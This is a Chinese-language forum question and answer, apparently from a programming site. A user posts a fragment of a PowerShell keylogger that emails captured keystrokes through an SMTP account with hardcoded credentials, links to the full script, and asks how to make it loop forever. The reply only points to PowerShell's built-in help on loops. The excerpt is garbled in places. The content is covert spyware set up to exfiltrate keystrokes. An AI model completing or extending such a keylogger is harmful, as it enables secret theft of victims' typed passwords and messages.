我有这个Powershell键盘记录器,可以将日志发送到电子邮件,它工作正常,但它只发送一次日志,然后他停止工作。 如何让它像一个无限循环?
TimesToRun = 2
$RunTimeP = 1
$From = "USER1@mail.com"
$Pass = "Pa$$w0rd"
$To = "USER2@mail.com"
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = "smtp.mail.com"
$SMTPPort = "587"
$credentials = new-object
Management.Automation.PSCredential
$From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
$TimeStart = Get-Date
$TimeEnd = $timeStart.addminutes($RunTimeP)
l
function Start-
KeyLogger($Path="$env:tempkeylogger.txt")
这是完整的脚本 https://gist.githubusercontent.com/dimiboy/8073b733f04d896cc7484fdb68bfce07/raw/d3ba1579e6be99680bee18a509a7f6940cb6a248/keystrokes-NEW.ps1
我把它放在这里,因为它对于评论部分来说太长了。
这是 While 循环的一个用例。这也不是PowerShell的唯一或限制。
循环是所有编程语言的标准用例,也是有据可查的东西。
有内置的帮助让你开始。
Get-Help about_Foreach
Get-Help about_For
Get-Help about_While
Get-Help about_do
PowerShell Loops
https://social.technet.microsoft.com/wiki/contents/articles/4542.powershell-loops.aspx
您必须决定使用哪个,因为每个都有其细节和影响。